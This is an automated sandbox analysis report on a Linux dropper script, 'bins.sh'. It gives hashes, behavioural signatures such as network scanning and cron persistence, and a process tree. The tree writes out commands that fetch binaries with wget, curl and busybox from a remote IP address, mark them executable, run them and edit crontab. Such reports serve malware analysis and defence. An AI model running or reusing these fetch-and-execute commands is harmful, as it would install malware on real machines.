Analysis
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max time kernel
55s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
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submitted
21-11-2024 06:51
General
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Target
bins.sh
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Size
10KB
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MD5
ed776e124eb62fb1ff51f657e9ccc15c
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SHA1
71dbd2838563234a9ba4946f2ef500d31b5867b8
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SHA256
63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b
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SHA512
ac23b13fb0488543bc69e5db98a8588dfe7ad2188bca5d74c5aaa70e00b9251acfceee0df3cb69b3074b591bfbf2b0ae8fd240f1399b47f78411542053a38600
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SSDEEP
192:OJMpj8JUmUOUEdUTUHUkN4SXlUmUOUEdUTUHUo8:OJMpj8JpN5dCyF4SXlpN5dCyo
Malware Config
Signatures
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Contacts a large (2068) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 2 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- File and Directory Permissions Modification
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/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
- Executes dropped EXE
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/bin/rmrm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- File and Directory Permissions Modification
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/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL2⤵
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/usr/bin/wgetwget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD2⤵
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD523296b0cee965945d8371b8fddeae9f1
SHA1158ae1f9cc0d01c277dc9006af5ffff6ce8fd088
SHA25657cf64abe83cd34017d0ad86c253463fdcf8b780203780ad921560410cbba87b
SHA5129edc03533aca1cb9afa8c2f1018ca07fc0a0cfff34a0abbb41084e00d6772f6d4e0d14e19a6bc850269d4f07d5ba0ee5e3dd3d472eb2aa6202abaf04f9bc9cfd